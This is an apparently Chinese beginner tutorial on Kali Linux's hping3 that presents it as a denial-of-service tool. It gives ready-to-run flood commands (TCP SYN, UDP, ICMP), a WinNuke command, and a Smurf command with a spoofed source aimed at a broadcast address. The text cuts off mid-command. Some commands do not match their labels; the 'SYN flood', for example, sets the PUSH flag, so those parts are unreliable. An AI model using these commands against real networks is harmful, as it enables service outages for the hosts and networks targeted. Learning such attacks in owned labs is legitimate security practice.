菜鸟kali实战之hping3

最新推荐文章于 2024-12-31 17:15:00 发布

原创

最新推荐文章于 2024-12-31 17:15:00 发布 · 4.2k 阅读

24 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #linux

本文介绍了Kali Linux中hping3工具的使用，包括TCP SYN Flood、UDP Flood、ICMP Flood、Winnuke、Smurf和Land攻击等DOS攻击方法。此外，还提到了hping3的各种参数选项及其在网络安全测试中的应用。

Hping百度百科
Hping是一个命令行下使用的TCP/IP数据包组装/分析工具，其命令模式很像Unix下的ping命令，但是它不是只能发送ICMP回应请求，它还可以支持TCP、UDP、ICMP和RAW-IP协议，它有一个路由跟踪模式，能够在两个相互包含的通道之间传送文件。Hping常被用于检测网络和主机，其功能非常强大，可在多种操作系统下运行，如Linux，FreeBSD，NetBSD，OpenBSD，Solaris，MacOs X，Windows。

DOS攻击
1.tcp syn flood 攻击
sudo hping3 192.168.200.1 -p 631 -P --flood
2.udp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -2
3.icmp flood 攻击
sudo hping3 192.168.200.1 -p 631 -S --flood -1
4.winnuke 攻击
sudo hping3 -U 192.168.200.1 -p 139
注意事项: winnuke攻击的端口不仅是139端口，还有“138、137、 113、 53”等端口，
因此在测试时要注意将所有端口都覆盖到,关键一点是winnuke攻击特征为“flag=URG”，
因此不能以端口为特征来检测。
5.smurf 攻击
hping3 -1 -a 192.168.0.1 192.168.0.255
一个简单的Smurf攻击原理就是：通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对此ICMP应答请求作出答复，导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方崩溃。
第二种为复杂点的攻击，即伪装成被攻击的地址发送信息到被攻击地址的广播地址,如:
#hping3 -1 -a 192